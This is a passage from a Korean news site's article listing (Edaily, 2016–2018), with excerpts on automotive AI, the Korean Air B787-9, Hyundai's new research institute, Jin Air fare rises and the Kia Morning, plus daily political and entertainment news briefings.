2.0을 탑재해 연내 출시할 모든 도요타, 렉서스 차량에 아마존의 AI 비서 알렉사를 장착하겠다고 발표했다. 알렉사 장착 차량 탑승자들은 음악 재생이나 날씨 문의 등 일상적인 질문 외에 자택 전등 점등이나 차고 개폐 등 스마트 홈 장비 간 호환 서비스를 이용할 수 있다.닛산은 차량이 운전자의 뇌파를 감지해 해석한 뒤 스스로 작동하는 수준의 인간-자동차 상호작용 시스템, ‘브레인 투 비히클(Brain-to-Vehicle·B2V)’ 기술을 시연했다. 이 기술은 뇌 영상 해독 기술을 통해 차량이 운전자가 핸들을 돌리거나 액셀을 밟기 직전 뇌 신호(뇌파)를 읽고 해당 기능의 반응 시간을 줄이도록 운전자 보조 시스템을 작동하는 형태다. 운전자의 불편함도 감지해 차량 인공지능이 주행 설정을 바꿀 수도 있다.벤츠는 새 인포테인먼트(정보+오락) 시스템 ‘MBUX’(메르세데스-벤츠 사용자 경험)를 세계 최초로 공개했다. MBUX는 AI와 직관적 운영 시스템에 기반한 혁신 기술로, 올해 초 선보일 A-클래스 콤팩트 모델에 기본으로 탑재할 예정이다.
2018.01.12 I 노재웅 기자
  • 이데일리 이슈&뉴스 브리핑 5월8일(오후)
  • [이데일리 e뉴스 유수정 기자] ◆ 현재 포털 주요이슈◇ 증시 새역사韓증시 또 신기원…코스피 2280대-삼성電 230만원대 ‘훌쩍’ 코스피지수 상승세가 매서운 상황. 지난 4일 2240선을 돌파하면서 사상 최고치를 찍더니 하루만에 2280선을 뛰어넘음.◇ ‘마크롱 당선’ 프랑스 전망 및 과제 佛통합·경제회생 중책 맡은 39세 마크롱, 아웃사이더 한계 넘나 마크롱은 새로운 정치와 좌우 통합을 통해 일단 집권에는 성공했지만 기성 정당 기반이 없다는 점이 오히려 향후 행보에 큰 걸림돌이 될 수 있다는 우려가 나오고 있는 상황.◇ 더불어민주당 대선후보 관련문재인 “이제 관심사는 ‘승부’ 아닌 ‘득표율’” 문재인 더불어민주당 대선 후보는 8일 정치적 고향 부산을 찾아 “이제 관심사는 승부가 아니다. 저 문재인의 득표율이 관심사”라고 밝힘.◆현재 포털 주요키워드/검색어◇ 美 F-35 스텔스 전투기美 F-35 스텔스 전투기, 10월 한국 출격…ADEX서 일반에 공개 미국이 올해 10월 한국에서 열리는 ‘서울 국제 항공우주 및 방위산업 전시회 2017’(서울 ADEX 2017)에 F-35 최신예 스텔스 전투기를 파견할 것으로 알려짐.◇ 홍준표 장인 영감탱이홍준표, 장인 영감탱이 해명에 “유승민은 국민 영감탱이?” 비난 봇물 홍준표 자유한국당 후보가 장인을 영감탱이라고 부른 것에 대한 해명에 경상도 출신 인사들을 비롯 야당 의원들이 비난의 목소리를 높이고 있음.◇ 하민호‘프듀’ 측 “하민호, 최대한 편집+추가 인원 없어”(공식입장) ‘프로듀스101 시즌2’ 측이 하차한 하민호에 대해 “다른 연습생에게 피해가 가지 않는 선에서 최대한 편집할 예정”이라고 밝힘.
2017.05.08 I 유수정 기자
  • 이데일리 이슈&뉴스 브리핑 4월20일(오전)
  • ◆ 오늘의 경제일정◇ 경제·금융-14:00 기재부, 복권위원회 전체회의(서울지방조달청)◇ 산업·증권-09:30 벤츠코리아, 더 뉴 GLC 쿠페 출시 행사(성동구 어반소스) -09:50 산업부, 산업기술 유망기업 채용ㆍ창업 박람회(디자인플라자)-10:00 국토부, 시설물안전 대토론회 (일산 시설안전공단)-10:30 파라다이스시티 공식 오픈 -11:00 힐튼 부산 호텔 오픈 간담회(콘래드호텔)-11:30 산업부, 중소기업중앙회 간담회(중기중앙회)-14:00 국토부, 부산도시철도 1호선 연장사업 개통식(부산)-15:00 방송통신심의위, 전체회의(목동 방송회관)-18:30 미래부, 과학기술 정책 간담회(양재엘타워)-LG전자, OLED 문화유산전(경복궁) ◇ 정치·사회·문화-10:30 국방부 정례브리핑-11:00 황교안 대통령 권한대행 국무총리, 장애인의 날 기념식(63빌딩 그랜드볼룸)-15:45 외교부, 주한 영국대사 면담-16:00 통일부, ‘개성공단 기업협회 정기총회’(중기중앙회)-14:00 대법 전원합의체 선고(대법정)◆ 현재 포털 주요이슈◇ KBS 초청 대선후보 토론회[2차 TV토론] 물고 물리는 설전…문재인·안철수에 공세 집중 - 2시간 스탠딩 토론 정해진 각본없이 총성없는 전쟁… 사드배치·대북송금·햇볕정책·국보법 등 문재인·안철수에 난타전◇ 장애인의 날“안내견은 벗이자 빛이죠”…시각장애 상담사의 ‘아름다운 동행’- 시각장애인 유석종씨 안내견 학교서 상담사로 활동 “안내견과 함께 하며 누군가 돌보고 책임진다는 것 배워”… 안내견, 시각장애인 안내가 아닌 동행하는 반려견◇ ‘北 도발’ 美·中 입장 및 대응틸러슨 美국무 “北 테러지원국 재지정 검토”- 렉스 틸러슨 미국 국무부 장관 “테러지원국 등 北압박할 모든 방안 검토중”… 이란도 北에 비교 “핵협정 실패…北과 같은 길 갈수도”◆ 현재 포털 주요키워드/검색어 ◇ 문재인 주적 ‘문재인 주적’ 남긴 유승민, 토론 직후 실검 1위에 “국민 안목 정확해”- 문재인 더불어민주당 대선후보에게 ‘주적’ 꼬리를 달아준 유승민 바른정당 대선후보, 19일 KBS 주최 ‘제19대 대선후보 초청토론’ 직후 포털사이트 ‘실검’ 1위를 한 자신의 이름을 내세우며 “국민의 안목은 정확하다”◇ 이정희 이정희, 홍준표에 의해 TV토론 때마다 강제소환 “뭐하고 지내냐는 질문에…”- 홍준표 자유한국당 대선후보, 지난 13일 1차 TV토론회에 이어 19일 2차 토론회에서도 유승민 바른정당 후보에게 “이정희 보는 것 같다”고 말해◇ 오윤아 ‘라스’ 오윤아 “노안 탓에 중학교 때부터 치한에 시달려”- 오윤아는 19일 MBC ‘라디오스타’에 출연해 “중학교 때 키가 크고 노안이라 남자들이 따라다녔다”며 “치한이 뒤에서 껴안기도 했다”고 밝혀
2017.04.20 I 박지혜 기자
대한항공 꿈의 항공기 B787-9 '1인치의 비밀'
  • [임기자의 궁금解]대한항공 꿈의 항공기 B787-9 '1인치의 비밀'
  • 대한항공 보잉787-9. 대한항공 제공.[이데일리 임성영 기자] 대한항공(003490)이 보잉사의 787-9 항공기를 들여오면서 ‘꿈의 항공기’라는 수식어를 붙였다. 고객 입장에서도 B787-9는 꿈의 항공기일지 직접 확인해봤다.지난 2일 인천 인천국제공항 격납고의 문이 열리면서 B787-9의 모습이 처음 공개됐다. 먼지 하나 묻지 않은 듯한 깨끗하고 반짝이는 외관이 ‘신상’ 항공기임을 알려준다. 외관에서 가장 눈에 띄는건 이전 항공기와 다른 날개의 형태다. 기존 항공기들은 대체로 날개가 수평으로 쭉 뻗어 있었는데 B787-9은 살짝 위로 치켜 올라갔다. 바로 ‘레이키드 윙팁(Raked Wing Tip)’이라는 부품을 적용했기 때문인데 살짝 위로 올라간 날개의 디자인 덕분에 와류(강하게 회전하면서 흐르는 유체의 형태)가 생기지 않아 공기의 저항이 줄어 연료의 효율성이 개선된다. 이전 여객기들과 비교해 좌석의 시트가 확연히 얇아진 것이 눈에 띈다. 인체공학적인 설계를 적용한 슬림해진 시트를 통해 실제 좌석과 앞좌석 등받이 간 길이가 1인치 가량 늘어났다.내부로 들어가자 3-3-3 형태의 좌석이 눈에 들어 온다. 여기까지는 다른 비행기와 크게 다를게 없다. 좌석에 앉는 순간 ‘와’ 하는 탄성이 절로 나왔다. 보통 비행기 좌석에 앉으면 답답한 느낌이 드는데 B787-9는 달랐다. 앉았을 때 무릎이 앞좌석에 닿지 않았다. 옆자리에 앉은 키 180cm의 동료 기자도 같은 이유로 놀라움을 감추지 못했다. 기내에서 잠을 청할 때의 자세를 취해봤다. 다리를 쭉 펴고 허리를 살짝 띄워 팔걸이에 팔을 걸었더니 확실히 이전에 타봤던 비행기보다 편했다. 간담회가 한 시간 조금 넘는 시간 동안 이어졌지만 불편함을 느끼지 못했다. B787-9 이코노미석의 앞뒤 간격은 최근 들여온 항공기들과 같다. 비밀은 시트에 있는데 슬림해진 인체공학적인 설계를 적용한 시트를 장착해 실제적으로 1인치(2.54cm) 정도 넓다는 것. 좌석 간 간격은 86cm, 좌석 너비 46cm의 넓은 공간, 118˚까지 젖혀지는 등받이로 보다 편안한 여행을 할 수 있다. 대한항공 측에 따르면 답답함이 덜한 데는 창문도 큰 역할을 한다. B787-9의 창문은 비슷한 기종과 견춰 크기가 78%나 커졌는데 창이 넓어져 기내 전체가 탁 트인 느낌을 주는 것도 좀 더 편안함이 들게 해준다는 것. 창문 아래 원형 버튼의 흰부분을 누르면 밝아지고 아래 회색인 부분을 누르면 어두워진다. 누르면 바로 명암이 달라지는 건 아니고 조금의 시간은 걸리지만 가장 어둡게 하면 창문의 색이 아주 짙은 남색으로 변한다. 밝을때와 어두울때를 비교해 봤는데 오른쪽은 어두운 5단계 중 4단계 정도에 해당한다.또한 창문 덮개를 없애는 대신 창문 아래 버튼을 눌러 창문의 투명도를 5단계까지 조절할 수 있도록 했다. 버튼을 누르는 즉시 명암이 달라지는 건 아니고 조금의 시간은 걸리지만 가장 어둡게 하면 창문의 색이 아주 짙은 남색으로 변한다. B 787-9의 새로운 기능 중 가장 신기한 기능이다. 특수 유리와 특수 유리 사이에 특수 젤(Gel)을 삽입해 가능한 기술로 창에 흐르는 전류량에 따른 화학반응으로 투명도가 변하는 방식이다. 모니터의 크기도 눈에 들어왔다. 10.6인치 고해상도 LCD 와이드 스크린이 달렸는데 실제로 영화 감상을 해보지는 못했지만 화면을 크기와 해상도를 고려할 때 영화 감상 시 이전과 비교해 눈의 피로감을 충분히 줄어들 수 있겠다는 생각이 들었다.기내 조명도 붉은색부터 노란색, 파란색가지 다양하게 바뀔 수 있도록 최신 발광다이오드(LED) 조명 기술을 적용했다.이밖에 B787-9는 기존 항공기에 비해 건조하지 않고 기압이 높아 비행에 따른 피로감을 낮췄다. 운항 중인 항공기를 타보지 않아 직접 확인 할 수 없었지만 대한항공에 따르면 기존 항공기는 기내 기압이 백두산 수준(2400m 높이)인데 보잉 787-9은 한라산이나 지리산 수준(1800m 높이)로 유지된다. 보통 높은 지대에 올라갈수록 기압이 낮아지고 산소가 부족해 쉽게 피로해진다. 기존 약 11% 수준이던 기내 습도도 15~16% 수준으로 올라 기내의 쾌적함도 향상됐다. 또한 탄소복합소재 50%, 알루미늄 합금 20%를 사용해 무게는 낮추고 내구성은 높여 연료소모율이 다른 항공기와 견줘 20% 좋아지는 한편 탄소배출량은 20% 줄인 친환경 항공기다. ☞관련기사 “대한항공, ‘꿈의 항공기’ 보잉 787-9 국내 첫 공개”☞관련기사 “조원태 대한항공 사장 “효율 좋은 B787-9로 승부…올해 매출 12조 목표””최신 발광다이오드(LED) 조명 기술을 적용해 붉은색부터 노란색, 파란색가지 다양하게 기내 분위기를 바꿀 수 있다.
2017.03.04 I 임성영 기자
현대차그룹, 전략기술연구소 신설…'혁신 기술·사업 개발'
  • 현대차그룹, 전략기술연구소 신설…'혁신 기술·사업 개발'
  • 현대기아차 연구원이 웨어러블 로봇을 착용하고 시연하는 모습. 현대차 제공.[이데일리 임성영 기자] 현대자동차(005380)그룹이 미래 산업 혁신을 선도할 혁신 기술을 개발하고 사업으로 구체화하는 ‘현대차그룹 전략기술 연구소’를 신설했다. 전략기술 연구소는 정보통신과 인공지능, 공유경제 등 미래 혁신 트렌드를 분석하고 이와 관련된 기술을 연구·개발할 예정이다. 남양연구소와는 별개로 구성되는 조직으로 의왕 연구소에서 운영을 시작해 점차 조직 규모를 확대한다. 현대차그룹은 21일 미래차 융·복합 분야 등 통합적 미래 대응체계를 구축하기 위한 현대차그룹 전략기술연구소를 출범한다고 밝혔다. 회사 관계자는 “급변하는 환경에 대응하는데 그치지 않고 산업 변혁을 이끌고 소비자에게 놀라운 가치를 제공하겠다는 의지의 일환”이라며 “그룹의 미래 성장동력 발굴은 물론 혁신의 새로운 지평을 열겠다는 구상”이라고 설명했다.전략기술연구소는 정보통신과 인공지능, 신소재, 에너지, 로보틱스, 공유경제 등 미래 혁신 분야를 집중 연구하며 동시에 연구개발 활동과 신규 사업 플랫폼을 구체화해 통합적 미래 대응체계를 구축하는 역할도 수행한다. 신규 사업 플랫폼은 미래차 융·복합기술을 포함 미래 혁신 기술과 관련된 전 방위적 분야를 아우른다.이를 통해 새로운 개념의 미래 기술을 내재화 하는 것은 물론 누구도 도전하지 않았던 미지의 영역을 개척함으로써 미래 성장동력을 창출하는 등 변혁을 주도하는 역할을 수행한다. 전략기술연구소는 기술 기획 전략가, 선행기술 엔지니어, 사업화 전문가 등으로 구성할 계획이다. 미래 사회·기술 트렌드 연구에 기반한 신사업 구상과 진행, 기술 개발전략 등을 담당하는 조직과 신소재, 에너지, 바이오 헬스, 로보틱스 등 혁신 기술을 개발하는 조직 등 크게 두 부문으로 구성한다.최근 융·복합 기술 확대에 따른 미래 사회의 변혁, 소비자들의 요구 다양화로 전략기술연구소의 역할은 더욱 확대될 것으로 전망됨에 따라 현대차그룹은 다양한 분야의 인재들을 대거 영입할 계획이다.기술 개발과 사업화 추진 등 각종 프로젝트 실행은 아이템과 시장 환경에 따라 ‘오픈 이노베이션’ 방식을 적극 활용한다. 오픈 이노베이션은 전문 기업체나 대학, 연구소들과 적극 협업에 나서는 형태로 첨단 신기술을 조기에 확보하고 사업의 성공적인 추진을 촉진하는데 기여할 것으로 보인다.현대차그룹 관계자는 “실리콘밸리식 미래기술 혁신 조직이라고 보면 된다”며 “현대차그룹은 미지의 영역을 개척하고 차세대 혁신 기술을 기반으로 독창적인 제품과 서비스로 소비자에게 최고의 가치를 제공하는 ‘마켓 쉐이퍼’로 자리잡겠다”고 말했다. 현대차는 앞서 지난 13일엔 자율주행차 연구개발을 전담하는 ‘지능형안전기술센터’를 신설하고 전문가를 영입하는 등 미래 기술을 선도하기 위한 다양한 투자와 노력을 하고 있다. ☞관련기사 “‘시동부터 주차까지’ 현대차 자율주행 전담조직으로 개발 가속화(종합)”현대기아차 연구원들이 커넥티드카를 개발하고 있는 모습. 현대차 제공.
2017.02.21 I 임성영 기자
진에어, 인기 노선 운임 6년만에 인상…LCC업계 도미노?
  • [단독]진에어, 인기 노선 운임 6년만에 인상…LCC업계 도미노?
  • [이데일리 임성영 기자] 대한항공(003490) 계열 저가항공사(LCC)인 진에어가 주력 노선인 제주노선의 일부 기본운임(공시운임)을 6년 만에 인상했다. 경쟁사 대비 부가이익을 창출할 수 있는 서비스가 적다 보니 수익성을 제고하기 위한 방법으로 운임 인상 카드를 꺼내든 것으로 해석된다. 선도업체인 진에어의 결정으로 LCC업계 전체적으로 운임 인상이 확산될 것으로 보인다. 31일 항공업계에 따르면 진에어는 지난 26일(출발일 기준)부터 김포-제주, 부산-제주, 청주-제주 등의 주말·성수기·탄력 할증 운임을 약 5% 가량 올렸다.김포 출발 제주 도착 노선의 경우 주말 운임은 기존 7만6000원에서 8만원으로, 성수기와 탄력 할증 운임은 9만3000원에서 9만7700원으로 인상했다. 부산 출발은 주말 요금이 6만6000원에서 6만9300원으로 성수기·탄력 할증 운임은 7만8000원에서 8만원으로 상행했고, 청주 출발은 주말 운임이 6만9500원에서 7만3000원으로 성수기·탄력 할증 운임은 8만3900원에서 8만8100원으로 올렸다. 탄력 할증운임은 이용객이 집중되는 특정 요일의 시간대를 기본 운임보다 비싸게 판매하는 운임 제도다. 제주 도착편인 경우 금요일 전 시간대와 토요일 오전 12시 이전 출발편이다. 제주 출발 항공편은 일요일 오후 12시 이후 모든 항공편에 할증운임이 적용된다.진에어 관계자는 “지난 6년간 인건비 등이 상승하면서 여객 운영 비용이 증가한 것을 반영했다”면서 “고객 부담을 줄이기 위해 가족 할인 폭을 이전 10%에서 20%로 올렸다”고 설명했다. 제주 노선은 국내 LCC들의 주요 수익 창출 노선이다. 특히 주말과 성수기, 탄력 할증 운임이 적용되는 요일과 시간대는 표가 없어서 못 팔 정도로 수요가 많아 기본 운임을 소폭 올리데 따른 수익 제고 효과가 크다. 수요가 워낙 많아 운임을 올린다고 해서 예매율이 떨어지지도 않는다. 또한 기본 운임을 올리면 할증 폭을 종전보다 키울 수 있어 모객 효과를 꾀할 수도 있다. 특히 진에어는 다른 LCC들과 비교해 부가 이익을 창출하는 모델이 적기 때문에 인기 노선의 요금을 올려 부족한 수익을 충당하려는 것으로 해석된다.업계 관계자는 “진에어는 대한항공과의 공동운항이 있어 완전 LCC 사업 모델로 갈 수 없기 때문에 부가 이익을 창출하기 어렵다”면서 “안정적인 수익을 제고하기 위한 방편으로 운임 인상을 택한 것”이라고 말했다. 진에어가 올해 운임 인상의 첫 테이프를 끊자 여타 LCC들도 가격 인상을 고심하고 있다. 대부분의 LCC들은 지난 2012년을 마지막으로 국내선의 기본운임을 인상하지 않았다. 한 LCC 관계자는 “진에어가 기본 운임을 먼저 인상하면서 가격 인상에 대한 부담이 줄어들었다”면서 “내부적으로 검토를 하고 있으며 결정된 단계는 아니다”고 말했다. 다른 LCC 관계자는 “다양한 방법으로 수익성을 높이고 있어 아직까지 운임 인상을 결정할 단계는 아니다”면서도 “경쟁사들의 움직임에 따라 가격 인상 시기가 빨라질 수도 있다”고 설명했다. 운임 인상과 더불어 유류할증료도 당분간 오름세를 이어갈 것으로 보여 올해 여행객들의 부담은 예년보다 커질 전망이다. 국내선 유류할증료는 2월부터 기존 1100원(1단계)에서 2200원(2단계)으로 한 단계 올라 적용되며 올해 유가가 상승세를 탈 것으로 예상돼 유류할증료의 추가 인상이 불가피해 보인다. ☞관련기사 “국제유가 상승, 국내선 이어 국제선 유류할증료 부활하나”
2017.01.31 I 임성영 기자
  • 이데일리 이슈&뉴스 브리핑 1월25일(오후)
  • [이데일리 e뉴스 유수정 기자] ◆ 현재 포털 주요이슈◇ 박근혜 대통령 탄핵심판朴측 변호인단 “중대 결심 고려”...전원사퇴? 박근혜 대통령 탄핵심판에서 대통령 변호인을 맡고 있는 이중환 변호사가 25일 박한철 헌법재판소장이 ‘3월 13일 이전 선고’를 강조한 데 대해 “공정성에 의문을 제기할 수 밖에 없다”고 말함.◇ 남경필 대선출마 공식 선언 ‘반기문·유승민 나와라’ 남경필, 대선출마 공식 선언 남경필 지사가 25일 서울 여의도 바른정당 중앙당사에서 “이제 특권사회로 향해가는 구체제를 청산해야 한다”며 제19대 대통령 선거 출마를 공식 선언하고 나섬.◇ 현대자동차 영업익 발표현대차 이익률 금융위기때 보다 낮다…5년 연속 수익성 악화 현대자동차의 수익성이 2008년 글로벌 금융위기때보다도 떨어짐. 지난해 현대차의 영업이익률은 5.5%로 5년만에 반토막이 남.◆ 현재 포털 주요키워드/검색어◇ 황교안앞치마까지 두른 황교안...사실상 대권행보 시작? 황교안 대통령 권한대행 국무총리가 앞치마를 두르며 민생행보를 본격화 함. 이에 일각에서는 사실상 대권행보에 나선 것이 아니냐는 시각이 제기됨.◇ 제국의 위안부法, ‘제국의 위안부’ 박유하 세종대 교수 ‘무죄’ 피해자를 자발적 매춘부로 묘사해 명예를 훼손한 혐의로 기소된 박유하(60) 세종대 일어일문학과 교수가 1심에서 무죄판결을 받음.◇ 유이/이상윤유이·이상윤, 1년만에 결별…“바쁜 스케줄 탓, 선후배 사이로” 배우 겸 가수 유이와 배우 이상윤이 결별하고 서로 응원하는 연예계 선후배 사이로 남기로 함.
2017.01.25 I 유수정 기자
'스파크, 내가 막는다'…가격↓안전성↑신형 모닝
  • '스파크, 내가 막는다'…가격↓안전성↑신형 모닝
  • 올 뉴 모닝 앞모습. 기아차 제공.[화성=이데일리 임성영 기자] 기아자동차(000270)가 6년 만에 3세대 ‘올 뉴(ALL NEW) 모닝’을 최초로 공개하고 사전계약을 시작했다. 기아차는 신형 모닝을 통해 지난해 한국GM ‘스파크’에 내준 국내 경차 시장 판매 1위 자리를 탈환한다는 목표다. 4일 기아차는 경기도 화성시에 있는 남양연구소에서 오는 17일 출시 예정인 올 뉴 모닝의 사전미디어 설명회를 열고 ‘가격·뛰어난 안전성·넓어진 공간’을 앞세워 1위 탈환을 위한 자심감을 내비쳤다. 모닝은 2008~2015년 국내 경차 시장 1위를 지켰지만 지난해에는 7만8035대 팔린 신형 스파크에 3000대 가량 판매량이 뒤졌다. 기아차는 모닝을 올해 국내에서 8만~9만대 판매할 계획이다. ◇“스파크 보다 넓고 안전하다” 올 뉴 모닝은 동급 최고의 경제성과 안정성, 공간을 갖췄다. 차의 기본 뼈대가 되는 플랫폼부터 ‘차세대 경차 플랫폼’으로 바꿔 튼튼하면서도 오래 타도 안전하도록 했으며 초고장력 강판(AHSS) 적용 비중을 늘려 강도를 키웠다. 올 뉴 모닝의 AHSS 적용 비중은 전체의 44.3%로 기존 모델의 2배이며 경쟁차종인 쉐보레 스파크 적용비중 38.7%보다 크다. 기존 강성형 구조용 접착제 대신 충돌 보강형 구조용 접착제를 사용해 차체가 충돌하면 변형하는 정도가 줄도록 했다. 초고장력 강판 적용 비중 확대와 보강형 구조용 접착제 사용으로 비틀림 강성도 개선했다. 기아차 자체 연구소 측정에 따르면 올 뉴 모닝의 비틀림 강성은 18.4로 스파크 16.5보다 뛰어나다. 차량의 몇 배 수준의 하중을 견디는지 테스트하는 천정 강도의 경우 올 뉴 모닝은 4.9배로 스파크(4.2배)보다 더 많은 하중을 견딜 수 있도록 설계했다올 뉴 모닝은 동급에서 가장 넓은 공간을 갖췄다. 신규 플랫폼 덕분에 휠베이스(축거)가 기존 모델보다 15mm 늘었다. 전장 3595mm, 전폭 1595mm, 전고 1485mm, 휠베이스(축거) 2400mm이다. 스파크와 비교해 전고는 10mm 더 높고, 휠베이스는 15mm 더 길다. 트렁크 용량은 255ℓ로 스파크(195ℓ)와 비교해선 60ℓ나 더 크다. 특히 2열 시트를 완전히 접으면 1010ℓ까지 화물 적재가 가능하도록 공간 활용성을 극대화했다. 올 뉴 모닝 실내. 기아차 제공.◇가격 전 모델보다 115만원 스파크보다 54만원 낮아 이전보다 더 강해지고 넓어진 데 비해 가격은 낮췄다. 주력 트림인 럭셔리는 고객 선호사양인 버튼시동 스마트키, 오토라이트 컨트롤, 크루즈 컨트롤, 후방 주차보조 시스템 등을 대거 기본 적용했지만 1300만원대로 책정했다. 경제성을 강조한 디럭스 트림은 △뒷좌석 헤드레스트 △뒷좌석 분할 시트 안전·편의 사양을 갖췄음에도 기존 모델보다 115~135만원 가격을 인하했다. △베이직 플러스 1075만~1095만원 △디럭스 1115만~1135만원 △럭셔리 1315만~1335만원 △레이디 1350만~1370만원 △프레스티지 1400만~1420만원의 범위 내에서 각각 책정할 예정이다. 서보원 기아차 마케팅 실장은 “럭셔리는 같은 트림인 스파크LT+와 비교할 때 표시가격은 34만~54만원 우세하지만 사양가치(45만원)와 유류비 절감효과(5년간 73만원), 잔존가치 등을 고려하면 최소 215만원에서 최대 235만원 실질 가격 경쟁력이 뛰어나다”고 강조했다. 이어 “럭셔리도 같은 트림인 스파크 LS와 견줬을때 실질 가격 경쟁력이 237만~257만원 우세하다”고 덧붙였다.올 뉴 모닝의 복합연비는 15.4km/ℓ로 쉐보레 스파크 14.3km/ℓ보다 좋다. ☞관련기사 “6년만의 ‘신형 모닝’ 안전사양 확대·가격 115만원 인하”올 뉴 모닝 뒷모습. 기아차 제공.
2017.01.04 I 임성영 기자
  • 이데일리 이슈&뉴스 브리핑 12월6일 (오후)
  • [이데일리 e뉴스 유수정 기자]◆ 현재 포털 주요이슈◇ ‘최순실 국정농단’ 진상규명 재계청문회의원들 윽박지르고 보여주기식 질문..사실상 ‘삼성청문회’ 한국을 대표하는 9개 그룹 총수들이 증인으로 출석한 국정조사 청문회에 전 국민적 관심이 쏠린 가운데 일부 국회의원들이 날카롭지 못한 수준 낮은 질문과 보여주기식 고성으로 눈살을 찌푸르게 하고 있음.◇ ‘최순실 국정농단’ 국정조사최순실 일가, 7일 청문회 불출석 입장… 사유가 ‘유치원 미팅’? 국정조사 특별위원회 측에 따르면 최순실 씨를 비롯한 언니 최순득 씨, 조카 장시호 씨 등이 각자 저마다의 이유로 지난 5일 청문회 불출석 사유서를 제출함. 특히 장시호 씨의 오빠인 장승호 씨는 유치원 학부모 미팅 일정으로 참석할 수 없다는 입장을 전한 것으로 알려져 파문이 예상되고 있음.◇ 먹거리 안전, ‘비상사태’‘방사능 유통 허용치 초과’ 日 수산물, 식탁에 올랐다 방사능 유통 허용치(1베크렐)를 초과한 일본산 수산물이 시중에 버젓이 판매 중인 것으로 나타남.◆현재 포털 주요키워드/검색어◇ 이재용집중포화 받은 이재용 부회장, 차분한 대응 속 폭탄발언 ‘눈길’ 이재용 삼성전자 부회장이 6일 최순실 국정농단 진실규명을 위한 국회 특별조사위원회에서 최순실씨 모녀에게 자금을 지원한 사실을 인정함.◇ 미래전략실삼성그룹 미래전략실, 부활 6년만에 해체 삼성그룹의 전략 기획을 담당하는 미래전략실이 부활 6년만에 해체될 전망임.◇ 남보라남보라 “스폰 루머 사실 아냐..인터뷰 논란 죄송” 배우 남보라가 스폰 루머와 인터뷰 내용 논란에 대해 해명하고 나섬.
2016.12.06 I 유수정 기자
  • 이데일리 이슈&뉴스 브리핑 10월13일(오후)
  • [이데일리 e뉴스 정시내 기자] ◆ 현재 포털 주요이슈◇2016 국정감사한선교 국감중 발언 논란..유은혜에 "내가 그렇게 좋아?" 국회의장 경호관 멱살잡이로 논란을 빚었던 한선교 새누리당 의원이 13일 국정감사 도중 한 발언으로 또다시 구설수에 올라.◇갤럭시7 후폭풍 '갤노트 쇼크' 불확실성…한국경제 영향 크다 vs 작다 ‘갤럭시’는 삼성전자를 넘어 우리나라의 대표 브랜드다. 삼성그룹 전체의 ‘캐시카우’로 2010년대 들어 우리 산업계에서 가장 두드러졌던 업종으로 꼽힌다.◇‘음악신동’ 바이올리니스트 권혁주 사망31세 요절한 천재 권혁주…음악계 애도물결 "큰축 잃다" 클래식 음악계가 ‘음악신동’ 바이올리니스트 권혁주(31)의 갑작스런 죽음에 충격에 빠졌다. 지난 12일 그의 부고 소식에 많은 동료 및 선후배 음악가들은 안타까움을 표시하며 고인의 명복을 빌어◇문화계 블랙리스트 논란문화계 블랙리스트가 존재한다는 주장이 나왔다."'연예인 블랙리스트' 있다"…박찬욱·송강호 등 포함 문화계 블랙리스트가 존재한다는 주장이 나왔다.◇백지영[단독]백지영, 결혼 3년 만에 임신…건강 위해 공연 취소백지영, 정석원 부부가 임신 8주차에 접어들어.
2016.10.13 I 정시내 기자
쌍용차, 낙찰가 정가 90%로 제한 '티볼리 경매 이벤트 '
  • 쌍용차, 낙찰가 정가 90%로 제한 '티볼리 경매 이벤트 '
  • 티볼리 플라밍레드. 쌍용차 제공.[이데일리 임성영 기자] 쌍용자동차(003620)가 2016 코리아 세일 페스타(KSF) 개최를 기념해 누구나 참여할 수 있는 티볼리 경매 이벤트 ‘슈퍼 프라이데이 옥션’을 실시한다고 5일 밝혔다.슈퍼 프라이데이 옥션 대상 차종은 2017 티볼리 가솔린 TX(A/T) 모델이다. 경매 시작가는 정가의 50%이고 낙찰가는 정가의 90%를 넘지 않도록 제한한다. 오는 7일 마감되는 1차 이벤트를 시작으로 28일까지 총 4차례에 걸쳐 진행한다. 쌍용자동차 홈페이지를 통해 경매에 참여할 수 있다. 회사 관계자는 “최소 10% 낮은 파격적인 가격에 2017 티볼리의 오너가 될 수 있는 절호의 기회가 될 것”이라고 말했다. KSF는 소비 활성화와 한류문화 확산을 위해 산업통상자원부와 국토교통관광부가 공동 주최하는 쇼핑관광축제다. 쌍용차는 모델 별로 5~10% 할인 혜택을 제공하는 ‘슈퍼 디스카운트 1000’으로 행사에 참여하고 있다. ☞관련기사“쌍용차, 10월 코리아세일페스타 기념 할인 확대”▶ 관련기사 ◀☞[특징주]쌍용차, '3Q 적자전환' 전망에 하락☞쌍용차, 9월 수출 호조로 1만2144대 판매…전년比 5.7%↑☞쌍용차, 9월 차량 판매 1만2144대…전년동월비 5.7%↑
2016.10.05 I 임성영 기자
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